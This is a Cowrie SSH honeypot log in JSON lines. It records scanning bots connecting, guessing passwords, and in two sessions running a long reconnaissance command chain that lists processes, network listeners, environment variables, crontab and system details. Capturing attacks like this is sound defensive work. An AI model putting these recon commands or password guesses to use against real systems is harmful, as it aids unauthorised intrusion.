{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:59.308269Z","src_ip":"212.11.64.103","session":"a2b1ee7e73a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:59.679023Z","src_ip":"212.11.64.103","session":"a2b1ee7e73a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:59.766320Z","src_ip":"212.11.64.103","session":"a2b1ee7e73a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:59.770679Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":17468,"dst_ip":"10.17.0.5","dst_port":22,"session":"818fa1733ddd","protocol":"ssh","message":"New connection: 2.57.121.25:17468 (10.17.0.5:22) [session: 818fa1733ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:41:21.369878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:41:21.373934Z","src_ip":"2.57.121.25","session":"818fa1733ddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:41:21.474703Z","src_ip":"2.57.121.25","session":"818fa1733ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"mjolnir","message":"login attempt [user/mjolnir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:41:21.952934Z","src_ip":"2.57.121.25","session":"818fa1733ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"milamber","message":"login attempt [user/milamber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:41:23.056294Z","src_ip":"2.57.121.25","session":"818fa1733ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"mike12","message":"login attempt [user/mike12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:41:24.160391Z","src_ip":"2.57.121.25","session":"818fa1733ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"message","message":"login attempt [user/message] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:41:25.267066Z","src_ip":"2.57.121.25","session":"818fa1733ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"memories","message":"login attempt [user/memories] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:41:26.370073Z","src_ip":"2.57.121.25","session":"818fa1733ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:41:27.475503Z","src_ip":"2.57.121.25","session":"818fa1733ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":42690,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b95fe5cb78","protocol":"ssh","message":"New connection: 14.225.2.125:42690 (10.17.0.5:22) [session: b2b95fe5cb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:43:03.565302Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:43:03.840655Z","src_ip":"14.225.2.125","session":"b2b95fe5cb78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":42692,"dst_ip":"10.17.0.5","dst_port":22,"session":"52a0c2623c61","protocol":"ssh","message":"New connection: 14.225.2.125:42692 (10.17.0.5:22) [session: 52a0c2623c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:43:04.088727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:43:04.095154Z","src_ip":"14.225.2.125","session":"52a0c2623c61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:43:04.353611Z","src_ip":"14.225.2.125","session":"52a0c2623c61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"froebel","password":"1234","message":"login attempt [froebel/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:43:05.128539Z","src_ip":"14.225.2.125","session":"52a0c2623c61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:43:06.388814Z","src_ip":"14.225.2.125","session":"52a0c2623c61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.243.170.62","src_port":38592,"dst_ip":"159.203.135.109","dst_port":22,"session":"472217cc03b5","protocol":"ssh","message":"New connection: 124.243.170.62:38592 (159.203.135.109:22) [session: 472217cc03b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:26.146121Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:26.150916Z","src_ip":"124.243.170.62","session":"472217cc03b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.243.170.62","src_port":38622,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0577143f337","protocol":"ssh","message":"New connection: 124.243.170.62:38622 (159.203.135.109:22) [session: d0577143f337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:27.436553Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:27.441479Z","src_ip":"124.243.170.62","session":"d0577143f337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.243.170.62","src_port":38606,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3909ce3a9b2","protocol":"ssh","message":"New connection: 124.243.170.62:38606 (159.203.135.109:22) [session: e3909ce3a9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:28.389261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:28.394181Z","src_ip":"124.243.170.62","session":"e3909ce3a9b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:28.625709Z","src_ip":"124.243.170.62","session":"e3909ce3a9b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.243.170.62","src_port":38636,"dst_ip":"159.203.135.109","dst_port":22,"session":"e945117bb3f7","protocol":"ssh","message":"New connection: 124.243.170.62:38636 (159.203.135.109:22) [session: e945117bb3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:28.681442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:28.687399Z","src_ip":"124.243.170.62","session":"e945117bb3f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:28.928464Z","src_ip":"124.243.170.62","session":"e945117bb3f7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12345","message":"login attempt [root/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:30.967860Z","src_ip":"124.243.170.62","session":"e945117bb3f7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:32.055756Z","src_ip":"124.243.170.62","session":"e945117bb3f7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:32.059334Z","src_ip":"124.243.170.62","session":"e945117bb3f7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"1.2","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:33.260638Z","src_ip":"124.243.170.62","session":"e945117bb3f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:33.265589Z","src_ip":"124.243.170.62","session":"e945117bb3f7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12345","message":"login attempt [root/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:35.557100Z","src_ip":"124.243.170.62","session":"e3909ce3a9b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:36.578232Z","src_ip":"124.243.170.62","session":"e3909ce3a9b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:36.581161Z","src_ip":"124.243.170.62","session":"e3909ce3a9b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"1.8","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:38.341337Z","src_ip":"124.243.170.62","session":"e3909ce3a9b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:45:38.348364Z","src_ip":"124.243.170.62","session":"e3909ce3a9b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":56932,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a5548d75213","protocol":"ssh","message":"New connection: 85.198.97.85:56932 (159.203.135.109:22) [session: 4a5548d75213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:54:04.115575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:54:04.121492Z","src_ip":"85.198.97.85","session":"4a5548d75213","protocol":"ssh"}
